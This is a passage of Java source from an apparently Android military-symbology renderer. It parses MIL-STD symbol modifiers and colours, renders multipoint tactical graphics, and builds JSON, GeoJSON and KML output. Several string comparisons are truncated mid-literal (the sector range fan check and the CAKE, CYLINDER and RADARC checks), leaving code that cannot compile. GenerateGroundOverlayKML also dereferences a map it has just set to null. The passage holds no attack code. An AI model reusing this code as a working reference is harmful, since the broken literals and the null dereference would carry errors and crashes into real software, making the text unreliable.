ArrayList<Double> distances = null;
// Stores colors for symbol.
String fillColor = null;
String lineColor = null;
String textColor = null;
String textBackgroundColor = null;
int lineWidth = 0;
int symstd = 0;
String altMode = null;
boolean useDashArray = symbol.getUseDashArray();
boolean usePatternFill = symbol.getUseFillPattern();
boolean hideOptionalLabels = false;
String symbolFillIDs = null;
String symbolFillIconSize = null;
try {
// The following attirubtes are labels. All of them
// are strings and can be added on the creation of the
// MilStdSymbol by adding to a Map and passing in the
// modifiers parameter.
if (saModifiers != null) {
if (saModifiers.indexOfKey(ModifiersTG.C_QUANTITY) >= 0) {
modifiers.put(ModifiersTG.C_QUANTITY, String.valueOf(saModifiers.get(ModifiersTG.C_QUANTITY)));
}
if (saModifiers.indexOfKey(ModifiersTG.H_ADDITIONAL_INFO_1) >= 0) {
modifiers.put(ModifiersTG.H_ADDITIONAL_INFO_1, String.valueOf(saModifiers.get(ModifiersTG.H_ADDITIONAL_INFO_1)));
}
if (saModifiers.indexOfKey(ModifiersTG.H1_ADDITIONAL_INFO_2) >= 0) {
modifiers.put(ModifiersTG.H1_ADDITIONAL_INFO_2, String.valueOf(saModifiers.get(ModifiersTG.H1_ADDITIONAL_INFO_2)));
}
if (saModifiers.indexOfKey(ModifiersTG.H2_ADDITIONAL_INFO_3) >= 0) {
modifiers.put(ModifiersTG.H2_ADDITIONAL_INFO_3, String.valueOf(saModifiers.get(ModifiersTG.H2_ADDITIONAL_INFO_3)));
}
if (saModifiers.indexOfKey(ModifiersTG.N_HOSTILE) >= 0) {
modifiers.put(ModifiersTG.N_HOSTILE, String.valueOf(saModifiers.get(ModifiersTG.N_HOSTILE)));
}
if (saModifiers.indexOfKey(ModifiersTG.Q_DIRECTION_OF_MOVEMENT) >= 0) {
modifiers.put(ModifiersTG.Q_DIRECTION_OF_MOVEMENT, String.valueOf(saModifiers.get(ModifiersTG.Q_DIRECTION_OF_MOVEMENT)));
}
if (saModifiers.indexOfKey(ModifiersTG.T_UNIQUE_DESIGNATION_1) >= 0) {
modifiers.put(ModifiersTG.T_UNIQUE_DESIGNATION_1, String.valueOf(saModifiers.get(ModifiersTG.T_UNIQUE_DESIGNATION_1)));
}
if (saModifiers.indexOfKey(ModifiersTG.T1_UNIQUE_DESIGNATION_2) >= 0) {
modifiers.put(ModifiersTG.T1_UNIQUE_DESIGNATION_2, String.valueOf(saModifiers.get(ModifiersTG.T1_UNIQUE_DESIGNATION_2)));
}
if (saModifiers.indexOfKey(ModifiersTG.V_EQUIP_TYPE) >= 0) {
modifiers.put(ModifiersTG.V_EQUIP_TYPE, String.valueOf(saModifiers.get(ModifiersTG.V_EQUIP_TYPE)));
}
if (saModifiers.indexOfKey(ModifiersTG.W_DTG_1) >= 0) {
modifiers.put(ModifiersTG.W_DTG_1, String.valueOf(saModifiers.get(ModifiersTG.W_DTG_1)));
}
if (saModifiers.indexOfKey(ModifiersTG.W1_DTG_2) >= 0) {
modifiers.put(ModifiersTG.W1_DTG_2, String.valueOf(saModifiers.get(ModifiersTG.W1_DTG_2)));
}
//Required multipoint modifier arrays
if (saModifiers.indexOfKey(ModifiersTG.X_ALTITUDE_DEPTH) >= 0) {
altitudes = new ArrayList<Double>();
String[] arrAltitudes = String.valueOf(saModifiers.get(ModifiersTG.X_ALTITUDE_DEPTH)).split(",");
for (String x : arrAltitudes) {
if (x.equals("") != true) {
altitudes.add(Double.parseDouble(x));
}
}
}
if (saModifiers.indexOfKey(ModifiersTG.AM_DISTANCE) >= 0) {
distances = new ArrayList<Double>();
String[] arrDistances = String.valueOf(saModifiers.get(ModifiersTG.AM_DISTANCE)).split(",");
for (String am : arrDistances) {
if (am.equals("") != true) {
distances.add(Double.parseDouble(am));
}
}
}
if (saModifiers.indexOfKey(ModifiersTG.AN_AZIMUTH) >= 0) {
azimuths = new ArrayList<Double>();
String[] arrAzimuths = String.valueOf(saModifiers.get(ModifiersTG.AN_AZIMUTH)).split(",");;
for (String an : arrAzimuths) {
if (an.equals("") != true) {
azimuths.add(Double.parseDouble(an));
}
}
}
}
if (saAttributes != null) {
// These properties are ints, not labels, they are colors.//////////////////
if (saAttributes.indexOfKey(MilStdAttributes.FillColor) >= 0) {
fillColor = (String) saAttributes.get(MilStdAttributes.FillColor);
}
if (saAttributes.indexOfKey(MilStdAttributes.LineColor) >= 0) {
lineColor = (String) saAttributes.get(MilStdAttributes.LineColor);
}
if (saAttributes.indexOfKey(MilStdAttributes.LineWidth) >= 0) {
lineWidth = Integer.parseInt(saAttributes.get(MilStdAttributes.LineWidth));
}
if (saAttributes.indexOfKey(MilStdAttributes.TextColor) >= 0) {
textColor = (String) saAttributes.get(MilStdAttributes.TextColor);
}
if (saAttributes.indexOfKey(MilStdAttributes.TextBackgroundColor) >= 0) {
textBackgroundColor = (String) saAttributes.get(MilStdAttributes.TextBackgroundColor);
}
if (saAttributes.indexOfKey(MilStdAttributes.SymbologyStandard) >= 0) {
symstd = Integer.parseInt(saAttributes.get(MilStdAttributes.SymbologyStandard));
symbol.setSymbologyStandard(symstd);
}
if (saAttributes.indexOfKey(MilStdAttributes.AltitudeMode) >= 0) {
altMode = saAttributes.get(MilStdAttributes.AltitudeMode);
}
if (saAttributes.indexOfKey(MilStdAttributes.UseDashArray) >= 0) {
useDashArray = Boolean.parseBoolean(saAttributes.get(MilStdAttributes.UseDashArray));
}
if (saAttributes.indexOfKey(MilStdAttributes.UsePatternFill) >= 0) {
usePatternFill = Boolean.parseBoolean(saAttributes.get(MilStdAttributes.UsePatternFill));
}
if (saAttributes.indexOfKey(MilStdAttributes.HideOptionalLabels) >= 0) {
hideOptionalLabels = Boolean.parseBoolean(saAttributes.get(MilStdAttributes.HideOptionalLabels));
}
}
symbol.setModifierMap(modifiers);
if (fillColor != null && fillColor.equals("") == false) {
symbol.setFillColor(SymbolUtilities.getColorFromHexString(fillColor));
}
if (lineColor != null && lineColor.equals("") == false) {
symbol.setLineColor(SymbolUtilities.getColorFromHexString(lineColor));
}
else if(symbol.getLineColor()==null)
symbol.setLineColor(Color.black);
if (lineWidth > 0) {
symbol.setLineWidth(lineWidth);
}
if (textColor != null && textColor.equals("") == false) {
symbol.setTextColor(SymbolUtilities.getColorFromHexString(textColor));
}
else
symbol.setTextColor(symbol.getLineColor());
if (textBackgroundColor != null && textBackgroundColor.equals("") == false) {
symbol.setTextBackgroundColor(SymbolUtilities.getColorFromHexString(textBackgroundColor));
}
if (altMode != null) {
symbol.setAltitudeMode(altMode);
}
symbol.setUseDashArray(useDashArray);
symbol.setUseFillPattern(usePatternFill);
symbol.setHideOptionalLabels(hideOptionalLabels);
// Check grpahic modifiers variables. If we set earlier, populate
// the fields, otherwise, ignore.
if (altitudes != null) {
symbol.setModifiers_AM_AN_X(ModifiersTG.X_ALTITUDE_DEPTH, altitudes);
}
if (distances != null) {
symbol.setModifiers_AM_AN_X(ModifiersTG.AM_DISTANCE, distances);
}
if (azimuths != null) {
symbol.setModifiers_AM_AN_X(ModifiersTG.AN_AZIMUTH, azimuths);
}
//Check if sector range fan has required min range
if (SymbolUtilities.getBasicSymbolID(symbol.getSymbolID()).equals("G*F*AXS
if (symbol.getModifiers_AM_AN_X(ModifiersTG.AN_AZIMUTH) != null
&& symbol.getModifiers_AM_AN_X(ModifiersTG.AM_DISTANCE) != null) {
int anCount = symbol.getModifiers_AM_AN_X(ModifiersTG.AN_AZIMUTH).size();
int amCount = symbol.getModifiers_AM_AN_X(ModifiersTG.AM_DISTANCE).size();
ArrayList<Double> am = null;
if (amCount < ((anCount / 2) + 1)) {
am = symbol.getModifiers_AM_AN_X(ModifiersTG.AM_DISTANCE);
if (am.get(0) != 0.0) {
am.add(0, 0.0);
}
}
}
}
} catch (Exception exc2) {
Log.e("MultiPointHandler.populateModifiers", exc2.getMessage(), exc2);
}
return true;
}
/**
* FOR DEUTCH USE ONLY
*
* @param symbolCode
* @param controlPoints
* @param scale
* @param bbox
* @param shapes
* @deprecated to make sure no one else is using it.
*/
public static IPointConversion RenderSymbol2(String symbolCode,
String controlPoints,
Double scale,
String bbox,
ArrayList<ShapeInfo> shapes,
ArrayList<ShapeInfo> modifiers)
{
boolean normalize = false;
StringBuilder jsonOutput = new StringBuilder();
String jsonContent = "";
Rectangle rect = null;
int j = 0;
String[] coordinates = controlPoints.split(" ");
TGLight tgl = new TGLight();
ArrayList<Point2D> geoCoords = new ArrayList<Point2D>();
int len = coordinates.length;
IPointConversion ipc = null;
Double left = 0.0;
Double right = 0.0;
Double top = 0.0;
Double bottom = 0.0;
Point2D temp = null;
int width = 0;
int height = 0;
int leftX = 0;
int topY = 0;
int bottomY = 0;
int rightX = 0;
Point2D pt2d = null;
ArrayList<Point2D> bboxCoords = null;
Point2D ptGeoUL;
if (bbox != null && bbox.equals("") == false) {
String[] bounds = null;
if (bbox.contains(" "))//trapezoid or polygon
{
bboxCoords = new ArrayList<Point2D>();
double x = 0;
double y = 0;
String[] coords = bbox.split(" ");
String[] arrCoord;
for (String coord : coords) {
arrCoord = coord.split(",");
x = Double.valueOf(arrCoord[0]);
y = Double.valueOf(arrCoord[1]);
bboxCoords.add(new Point2D.Double(x, y));
}
//use the upper left corner of the MBR containing geoCoords
//so lowest possible pxiels values for the trapezoid points are 0,0
ptGeoUL = getGeoUL(bboxCoords);
left = ptGeoUL.getX();
top = ptGeoUL.getY();
//bboxCoords need to be in pixels
ipc = new PointConverter(left, top, scale);
//diagnostic
//the renderer is going to expand the trapezoid by 20 pixels
//so that it can cut off the connector lines on the boundaries.
//Shift the converter by 20x20 pixels here to shift the trapezoid
//so that it will effectively have the same origin after it is expanded
Point2D ptPixels = null;
ptPixels = new Point2D.Double(20, 20);
Point2D ptGeo = ipc.PixelsToGeo(ptPixels);
IPointConversion ipcTemp = new PointConverter(ptGeo.getX(), ptGeo.getY(), scale);
int n = bboxCoords.size();
//for (j = 0; j < bboxCoords.size(); j++)
for (j = 0; j < n; j++) {
ptGeo = bboxCoords.get(j);
ptPixels = ipcTemp.GeoToPixels(ptGeo);
bboxCoords.set(j, (Point2D) ptPixels);
}
} else//rectangle
{
bounds = bbox.split(",");
left = Double.valueOf(bounds[0]).doubleValue();
right = Double.valueOf(bounds[2]).doubleValue();
top = Double.valueOf(bounds[3]).doubleValue();
bottom = Double.valueOf(bounds[1]).doubleValue();
ipc = new PointConverter(left, top, scale);
}
//added 2 lines Deutch 6-29-11
//controlLong = left;
//controlLat = top;
//end section
//new conversion
//swap two lines below when ready for coordinate update
//ipc = new PointConverter(left, top, scale);
//ipc = new PointConverter(left, top, right, bottom, scale);
if (bboxCoords == null) {
//temp = ipc.GeoToPixels(new Point2D(left, top));
pt2d = new Point2D.Double(left, top);
temp = ipc.GeoToPixels(pt2d);
leftX = (int) temp.getX();
topY = (int) temp.getY();
//temp = ipc.GeoToPixels(new Point2D(right, bottom));
pt2d = new Point2D.Double(right, bottom);
temp = ipc.GeoToPixels(pt2d);
bottomY = (int) temp.getY();
rightX = (int) temp.getX();
width = (int) Math.abs(rightX - leftX);
height = (int) Math.abs(bottomY - topY);
rect = new Rectangle(leftX, topY, width, height);
}
} else {
rect = null;
}
//end section
//System.out.println("Pixel Coords: ");
for (int i = 0; i < len; i++) {
String[] coordPair = coordinates[i].split(",");
Double latitude = Double.valueOf(coordPair[1].trim()).doubleValue();
Double longitude = Double.valueOf(coordPair[0].trim()).doubleValue();
geoCoords.add(new Point2D.Double(longitude, latitude));
}
if (ipc == null) {
Point2D ptCoordsUL = getGeoUL(geoCoords);
ipc = new PointConverter(ptCoordsUL.getX(), ptCoordsUL.getY(), scale);
}
//if (crossesIDL(geoCoords) == true)
// if(Math.abs(right-left)>180)
// normalize = true;
// ((PointConverter)ipc).set_normalize(true);
// else {
// normalize = false;
// ((PointConverter)ipc).set_normalize(false);
//seems to work ok at world view
// if (normalize) {
// NormalizeGECoordsToGEExtents(0, 360, geoCoords);
tgl.set_SymbolId(symbolCode);
tgl.set_Pixels(null);
try {
//Map<String, String> modifierMap = new HashMap<String, String>();
SparseArray<String> modifierMap = new SparseArray<String>();
MilStdSymbol mSymbol = new MilStdSymbol(symbolCode, null, geoCoords, modifierMap);
tgl = clsRenderer.createTGLightFromMilStdSymbol(mSymbol, ipc);
//diagnostic
tgl.set_FillColor(new Color(150, 150, 150, 20));
tgl.set_T1("5000");
tgl.set_H("10000");
tgl.set_H2("5400");
if (bboxCoords == null) {
clsRenderer.render_GE(tgl, shapes, modifiers, ipc, rect);
} else {
clsRenderer.render_GE(tgl, shapes, modifiers, ipc, bboxCoords);
}
jsonOutput.append("{\"type\":\"symbol\",");
jsonContent = JSONize(shapes, modifiers, ipc, true, normalize);
jsonOutput.append(jsonContent);
jsonOutput.append("}");
} catch (Exception exc) {
jsonOutput = new StringBuilder();
jsonOutput.append("{\"type\":\"error\",\"error\":\"There was an error creating the MilStdSymbol - ");
jsonOutput.append(exc.getMessage() + " - ");
jsonOutput.append("\"}");
}
boolean debug = true;
if (debug == true) {
System.out.println("Symbol Code: " + symbolCode);
System.out.println("Scale: " + scale);
System.out.println("BBOX: " + bbox);
if (controlPoints != null) {
System.out.println("Geo Points: " + controlPoints);
}
if (bbox != null) {
System.out.println("geo bounds: " + bbox);
}
if (rect != null) {
System.out.println("pixel bounds: " + rect.toString());
}
if (jsonOutput != null) {
System.out.println(jsonOutput.toString());
}
}
return ipc;
}
private static String KMLize(String id, String name,
String description,
String symbolCode,
ArrayList<ShapeInfo> shapes,
ArrayList<ShapeInfo> modifiers,
IPointConversion ipc,
boolean normalize, Color textColor) {
java.lang.StringBuilder kml = new java.lang.StringBuilder();
ShapeInfo tempModifier = null;
String cdataStart = "<![CDATA[";
String cdataEnd = "]]>";
int len = shapes.size();
kml.append("<Folder id=\"" + id + "\">");
kml.append("<name>" + cdataStart + name + cdataEnd + "</name>");
kml.append("<visibility>1</visibility>");
for (int i = 0; i < len; i++) {
String shapesToAdd = ShapeToKMLString(name, description, symbolCode, shapes.get(i), ipc, normalize);
kml.append(shapesToAdd);
}
int len2 = modifiers.size();
for (int j = 0; j < len2; j++) {
tempModifier = modifiers.get(j);
//if(geMap)//if using google earth
//assume kml text is going to be centered
//AdjustModifierPointToCenter(tempModifier);
String labelsToAdd = LabelToKMLString(tempModifier, ipc, normalize, textColor);
kml.append(labelsToAdd);
}
kml.append("</Folder>");
return kml.toString();
}
/**
*
* @param shapes
* @param modifiers
* @param ipc
* @param geMap
* @param normalize
* @return
* @deprecated Use GeoJSONize()
*/
private static String JSONize(ArrayList<ShapeInfo> shapes, ArrayList<ShapeInfo> modifiers, IPointConversion ipc, Boolean geMap, boolean normalize) {
String polygons = "";
String lines = "";
String labels = "";
String jstr = "";
ShapeInfo tempModifier = null;
int len = shapes.size();
for (int i = 0; i < len; i++) {
if (jstr.length() > 0) {
jstr += ",";
}
String shapesToAdd = ShapeToJSONString(shapes.get(i), ipc, geMap, normalize);
if (shapesToAdd.length() > 0) {
if (shapesToAdd.startsWith("line", 2)) {
if (lines.length() > 0) {
lines += ",";
}
lines += shapesToAdd;
} else if (shapesToAdd.startsWith("polygon", 2)) {
if (polygons.length() > 0) {
polygons += ",";
}
polygons += shapesToAdd;
}
}
}
jstr += "\"polygons\": [" + polygons + "],"
+ "\"lines\": [" + lines + "],";
int len2 = modifiers.size();
labels = "";
for (int j = 0; j < len2; j++) {
tempModifier = modifiers.get(j);
if (geMap) {
AdjustModifierPointToCenter(tempModifier);
}
String labelsToAdd = LabelToJSONString(tempModifier, ipc, normalize);
if (labelsToAdd.length() > 0) {
if (labels.length() > 0) {
labels += ",";
}
labels += labelsToAdd;
}
}
jstr += "\"labels\": [" + labels + "]";
return jstr;
}
private static Color getIdealTextBackgroundColor(Color fgColor) {
//ErrorLogger.LogMessage("SymbolDraw","getIdealtextBGColor", "in function", Level.SEVERE);
try {
//an array of three elements containing the
//hue, saturation, and brightness (in that order),
//of the color with the indicated red, green, and blue components/
float hsbvals[] = new float[3];
if (fgColor != null) {/*
Color.RGBtoHSB(fgColor.getRed(), fgColor.getGreen(), fgColor.getBlue(), hsbvals);
if(hsbvals != null)
{
//ErrorLogger.LogMessage("SymbolDraw","getIdealtextBGColor", "length: " + String.valueOf(hsbvals.length));
//ErrorLogger.LogMessage("SymbolDraw","getIdealtextBGColor", "H: " + String.valueOf(hsbvals[0]) + " S: " + String.valueOf(hsbvals[1]) + " B: " + String.valueOf(hsbvals[2]),Level.SEVERE);
if(hsbvals[2] > 0.6)
return Color.BLACK;
else
return Color.WHITE;
}*/
int nThreshold = RendererSettings.getInstance().getTextBackgroundAutoColorThreshold();//160;
int bgDelta = (int) ((fgColor.getRed() * 0.299) + (fgColor.getGreen() * 0.587) + (fgColor.getBlue() * 0.114));
//ErrorLogger.LogMessage("bgDelta: " + String.valueOf(255-bgDelta));
//if less than threshold, black, otherwise white.
//return (255 - bgDelta < nThreshold) ? Color.BLACK : Color.WHITE;//new Color(0, 0, 0, fgColor.getAlpha())
return (255 - bgDelta < nThreshold) ? new Color(0, 0, 0, fgColor.getAlpha()) : new Color(255, 255, 255, fgColor.getAlpha());
}
} catch (Exception exc) {
ErrorLogger.LogException("SymbolDraw", "getIdealtextBGColor", exc);
}
return Color.WHITE;
}
private static String LabelToGeoJSONString(ShapeInfo shapeInfo, IPointConversion ipc, boolean normalize, Color textColor, Color textBackgroundColor) {
StringBuilder JSONed = new StringBuilder();
StringBuilder properties = new StringBuilder();
StringBuilder geometry = new StringBuilder();
Color outlineColor = getIdealTextBackgroundColor(textColor);
if(textBackgroundColor != null)
outlineColor = textBackgroundColor;
//AffineTransform at = shapeInfo.getAffineTransform();
//Point2D coord = (Point2D)new Point2D.Double(at.getTranslateX(), at.getTranslateY());
//Point2D coord = (Point2D) new Point2D.Double(shapeInfo.getGlyphPosition().getX(), shapeInfo.getGlyphPosition().getY());
Point2D coord = (Point2D) new Point2D.Double(shapeInfo.getModifierStringPosition().getX(), shapeInfo.getModifierStringPosition().getY());
Point2D geoCoord = ipc.PixelsToGeo(coord);
//M. Deutch 9-27-11
if (normalize) {
geoCoord = NormalizeCoordToGECoord(geoCoord);
}
double latitude = Math.round(geoCoord.getY() * 100000000.0) / 100000000.0;
double longitude = Math.round(geoCoord.getX() * 100000000.0) / 100000000.0;
double angle = shapeInfo.getModifierStringAngle();
coord.setLocation(longitude, latitude);
//diagnostic M. Deutch 10-18-11
shapeInfo.setGlyphPosition(coord);
String text = shapeInfo.getModifierString();
int justify=shapeInfo.getTextJustify();
String strJustify="left";
if(justify==0)
strJustify="left";
else if(justify==1)
strJustify="center";
else if(justify==2)
strJustify="right";
RendererSettings RS = RendererSettings.getInstance();
if (text != null && text.equals("") == false) {
JSONed.append("{\"type\":\"Feature\",\"properties\":{\"label\":\"");
JSONed.append(text);
JSONed.append("\",\"pointRadius\":0,\"fontColor\":\"");
JSONed.append(SymbolUtilities.colorToHexString(textColor, false));
JSONed.append("\",\"fontSize\":\"");
JSONed.append(String.valueOf(RS.getMPModifierFontSize()) + "pt\"");
JSONed.append(",\"fontFamily\":\"");
JSONed.append(RS.getMPModifierFontName());
JSONed.append(", sans-serif");
if (RS.getMPModifierFontType() == Typeface.BOLD) {
JSONed.append("\",\"fontWeight\":\"bold\"");
} else {
JSONed.append("\",\"fontWeight\":\"normal\"");
}
//JSONed.append(",\"labelAlign\":\"lm\"");
JSONed.append(",\"labelAlign\":\"");
JSONed.append(strJustify);
JSONed.append("\",\"labelBaseline\":\"alphabetic\"");
JSONed.append(",\"labelXOffset\":0");
JSONed.append(",\"labelYOffset\":0");
JSONed.append(",\"labelOutlineColor\":\"");
JSONed.append(SymbolUtilities.colorToHexString(outlineColor, false));
JSONed.append("\",\"labelOutlineWidth\":");
JSONed.append("4");
JSONed.append(",\"rotation\":");
JSONed.append(angle);
JSONed.append(",\"angle\":");
JSONed.append(angle);
JSONed.append("},");
JSONed.append("\"geometry\":{\"type\":\"Point\",\"coordinates\":[");
JSONed.append(longitude);
JSONed.append(",");
JSONed.append(latitude);
JSONed.append("]");
JSONed.append("}}");
} else {
return "";
}
return JSONed.toString();
}
private static String ShapeToGeoJSONString(ShapeInfo shapeInfo, IPointConversion ipc, boolean normalize) {
StringBuilder JSONed = new StringBuilder();
StringBuilder properties = new StringBuilder();
StringBuilder geometry = new StringBuilder();
String geometryType = null;
/*
NOTE: Google Earth / KML colors are backwards.
They are ordered Alpha,Blue,Green,Red, not Red,Green,Blue,Aplha like the rest of the world
* */
Color lineColor = shapeInfo.getLineColor();
Color fillColor = shapeInfo.getFillColor();
if (shapeInfo.getShapeType() == ShapeInfo.SHAPE_TYPE_FILL || fillColor != null) {
geometryType = "\"Polygon\"";
} else //if(shapeInfo.getShapeType() == ShapeInfo.SHAPE_TYPE_POLYLINE)
{
geometryType = "\"MultiLineString\"";
}
BasicStroke stroke = null;
stroke = (BasicStroke) shapeInfo.getStroke();
int lineWidth = 4;
if (stroke != null) {
lineWidth = (int) stroke.getLineWidth();
//lineWidth++;
//System.out.println("lineWidth: " + String.valueOf(lineWidth));
}
//generate JSON properties for feature
properties.append("\"properties\":{");
properties.append("\"label\":\"\",");
if (lineColor != null) {
properties.append("\"strokeColor\":\"" + SymbolUtilities.colorToHexString(lineColor, false) + "\",");
properties.append("\"lineOpacity\":" + String.valueOf(lineColor.getAlpha() / 255f) + ",");
}
if (fillColor != null) {
properties.append("\"fillColor\":\"" + SymbolUtilities.colorToHexString(fillColor, false) + "\",");
properties.append("\"fillOpacity\":" + String.valueOf(fillColor.getAlpha() / 255f) + ",");
}
String strokeWidth = String.valueOf(lineWidth);
properties.append("\"strokeWidth\":" + strokeWidth + ",");
properties.append("\"strokeWeight\":" + strokeWidth + "");
properties.append("}");
//generate JSON geometry for feature
geometry.append("\"geometry\":{\"type\":");
geometry.append(geometryType);
geometry.append(",\"coordinates\":[");
ArrayList shapesArray = shapeInfo.getPolylines();
for (int i = 0; i < shapesArray.size(); i++) {
ArrayList pointList = (ArrayList) shapesArray.get(i);
normalize = normalizePoints(pointList, ipc);
geometry.append("[");
//System.out.println("Pixel Coords:");
for (int j = 0; j < pointList.size(); j++) {
Point2D coord = (Point2D) pointList.get(j);
Point2D geoCoord = ipc.PixelsToGeo(coord);
//M. Deutch 9-27-11
if (normalize) {
geoCoord = NormalizeCoordToGECoord(geoCoord);
}
double latitude = Math.round(geoCoord.getY() * 100000000.0) / 100000000.0;
double longitude = Math.round(geoCoord.getX() * 100000000.0) / 100000000.0;
//fix for fill crossing DTL
if (normalize && fillColor != null) {
if (longitude > 0) {
longitude -= 360;
}
}
//diagnostic M. Deutch 10-18-11
//set the point as geo so that the
//coord.setLocation(longitude, latitude);
coord = new Point2D.Double(longitude, latitude);
pointList.set(j, coord);
//end section
geometry.append("[");
geometry.append(longitude);
geometry.append(",");
geometry.append(latitude);
geometry.append("]");
if (j < (pointList.size() - 1)) {
geometry.append(",");
}
}
geometry.append("]");
if (i < (shapesArray.size() - 1)) {
geometry.append(",");
}
}
geometry.append("]}");
JSONed.append("{\"type\":\"Feature\",");
JSONed.append(properties.toString());
JSONed.append(",");
JSONed.append(geometry.toString());
JSONed.append("}");
return JSONed.toString();
}
private static String GeoJSONize(ArrayList<ShapeInfo> shapes, ArrayList<ShapeInfo> modifiers, IPointConversion ipc, boolean normalize, Color textColor, Color textBackgroundColor) {
String jstr = "";
ShapeInfo tempModifier = null;
StringBuilder fc = new StringBuilder();//JSON feature collection
fc.append("[");
int len = shapes.size();
for (int i = 0; i < len; i++) {
String shapesToAdd = ShapeToGeoJSONString(shapes.get(i), ipc, normalize);
if (shapesToAdd.length() > 0) {
fc.append(shapesToAdd);
}
if (i < len - 1) {
fc.append(",");
}
}
int len2 = modifiers.size();
for (int j = 0; j < len2; j++) {
tempModifier = modifiers.get(j);
String labelsToAdd = LabelToGeoJSONString(tempModifier, ipc, normalize, textColor, textBackgroundColor);
if (labelsToAdd.length() > 0) {
fc.append(",");
fc.append(labelsToAdd);
}
}
fc.append("]");
String GeoJSON = fc.toString();
return GeoJSON;
}
/**
*
* @param urlImage
* @param ipc
* @param symbolBounds
* @param normalize
* @return
*/
private static String GenerateGroundOverlayKML(
String urlImage, IPointConversion ipc,
Rectangle symbolBounds,
boolean normalize)//, ArrayList<ShapeInfo> shapes)
{
//int shapeType = -1;
double x = 0;
double y = 0;
double height = 0;
double width = 0;
StringBuilder sb = new StringBuilder();
Boolean lineFill = false;
Map<String, String> params = null;
int symbolSize = 0;
int imageOffset = 0;
try {
//if it's a line pattern, we need to know how big the symbols
//are so we can increase the size of the image.
int index = -1;
index = urlImage.indexOf(SYMBOL_LINE_IDS);
if (index > 0)//if(urlImage contains SYMBOL_LINE_IDS)
{
lineFill = true;
if (params.containsKey(SYMBOL_FILL_ICON_SIZE)) {
String size = (String) params.get(SYMBOL_FILL_ICON_SIZE);
symbolSize = Integer.decode(size);// getInteger(size);
} else {
}
imageOffset = (symbolSize / 2) + 3;//+3 to make room for rotation
}
Rectangle bounds = null;
bounds = symbolBounds;
height = bounds.getHeight() + (imageOffset * 2);
width = bounds.getWidth() + (imageOffset * 2);
x = bounds.getX() - imageOffset;
y = bounds.getY() - imageOffset;
Point2D coord = (Point2D) new Point2D.Double(x, y);
Point2D topLeft = ipc.PixelsToGeo(coord);
coord = (Point2D) new Point2D.Double(x + width, y + height);
Point2D bottomRight = ipc.PixelsToGeo(coord);
if (normalize) {
topLeft = NormalizeCoordToGECoord(topLeft);
bottomRight = NormalizeCoordToGECoord(bottomRight);
}
String cdataStart = "<![CDATA[";
String cdataEnd = "]]>";
//build kml
sb.append("<GroundOverlay>");
sb.append("<name>symbol fill</name>");
sb.append("<description>symbol fill</description>");
sb.append("<Icon>");
sb.append("<href>");
sb.append(cdataStart);
sb.append(urlImage);
sb.append(cdataEnd);
sb.append("</href>");
sb.append("</Icon>");
sb.append("<LatLonBox>");
sb.append("<north>");
sb.append(String.valueOf(topLeft.getY()));
sb.append("</north>");
sb.append("<south>");
sb.append(String.valueOf(bottomRight.getY()));
sb.append("</south>");
sb.append("<east>");
sb.append(String.valueOf(bottomRight.getX()));
sb.append("</east>");
sb.append("<west>");
sb.append(String.valueOf(topLeft.getX()));
sb.append("</west>");
sb.append("<rotation>");
sb.append(0);
sb.append("</rotation>");
sb.append("</LatLonBox>");
sb.append("</GroundOverlay>");
} catch (Exception exc) {
System.out.println(exc.getMessage());
exc.printStackTrace();
}
String kml = sb.toString();
return kml;
}
/**
*
* @param shapes
* @param modifiers
* @param ipc
* @param normalize
* @deprecated
*/
private static void MakeWWReady(
ArrayList<ShapeInfo> shapes,
ArrayList<ShapeInfo> modifiers,
IPointConversion ipc,
boolean normalize) {
ShapeInfo temp = null;
int len = shapes.size();
for (int i = 0; i < len; i++) {
temp = ShapeToWWReady(shapes.get(i), ipc, normalize);
shapes.set(i, temp);
}
int len2 = modifiers.size();
ShapeInfo tempModifier = null;
for (int j = 0; j < len2; j++) {
tempModifier = modifiers.get(j);
//Do we need this for World Wind?
tempModifier = LabelToWWReady(tempModifier, ipc, normalize);
modifiers.set(j, tempModifier);
}
}
private static Boolean normalizePoints(ArrayList<Point2D.Double> shape, IPointConversion ipc) {
ArrayList geoCoords = new ArrayList();
int n = shape.size();
//for (int j = 0; j < shape.size(); j++)
for (int j = 0; j < n; j++) {
Point2D coord = shape.get(j);
Point2D geoCoord = ipc.PixelsToGeo(coord);
geoCoord = NormalizeCoordToGECoord(geoCoord);
double latitude = geoCoord.getY();
double longitude = geoCoord.getX();
Point2D pt2d = new Point2D.Double(longitude, latitude);
geoCoords.add(pt2d);
}
Boolean normalize = crossesIDL(geoCoords);
return normalize;
}
private static Boolean IsOnePointSymbolCode(String symbolCode) {
int symStd = RendererSettings.getInstance().getSymbologyStandard();
String basicCode = SymbolUtilities.getBasicSymbolID(symbolCode);
//some airspaces affected
if (symbolCode.equals("CAKE
return true;
} else if (symbolCode.equals("CYLINDER
return true;
} else if (symbolCode.equals("RADARC
return true;
}
return false;
}
private static String ShapeToKMLString(String name,
String description,
String symbolCode,
ShapeInfo shapeInfo,
IPointConversion ipc,
boolean normalize) {
java.lang.StringBuilder kml = new java.lang.StringBuilder();
Color lineColor = null;
Color fillColor = null;
String googleLineColor = null;
String googleFillColor = null;
String lineStyleId = "lineColor";
BasicStroke stroke = null;
int lineWidth = 4;
symbolCode = JavaRendererUtilities.normalizeSymbolCode(symbolCode);
String cdataStart = "<![CDATA[";
String cdataEnd = "]]>";
kml.append("<Placemark>");//("<Placemark id=\"" + id + "_mg" + "\">");
kml.append("<description>" + cdataStart + "<b>" + name + "</b><br/>" + "\n" + description + cdataEnd + "</description>");
kml.append("<Style id=\"" + lineStyleId + "\">");
lineColor = shapeInfo.getLineColor();
if (lineColor != null) {
googleLineColor = Integer.toHexString(shapeInfo.getLineColor().toARGB());
stroke = (BasicStroke) shapeInfo.getStroke();
if (stroke != null) {
lineWidth = (int) stroke.getLineWidth();
}
googleLineColor = JavaRendererUtilities.ARGBtoABGR(googleLineColor);
kml.append("<LineStyle>");
kml.append("<color>" + googleLineColor + "</color>");
kml.append("<colorMode>normal</colorMode>");
kml.append("<width>" + String.valueOf(lineWidth) + "</width>");
kml.append("</LineStyle>");
}
fillColor = shapeInfo.getFillColor();
if (fillColor != null) {
googleFillColor = Integer.toHexString(shapeInfo.getFillColor().toARGB());
googleFillColor = JavaRendererUtilities.ARGBtoABGR(googleFillColor);
kml.append("<PolyStyle>");
kml.append("<color>" + googleFillColor + "</color>");
kml.append("<colorMode>normal</colorMode>");
kml.append("<fill>1</fill>");
if (lineColor != null) {
kml.append("<outline>1</outline>");
} else {
kml.append("<outline>0</outline>");
}
kml.append("</PolyStyle>");
}
kml.append("</Style>");
ArrayList shapesArray = shapeInfo.getPolylines();
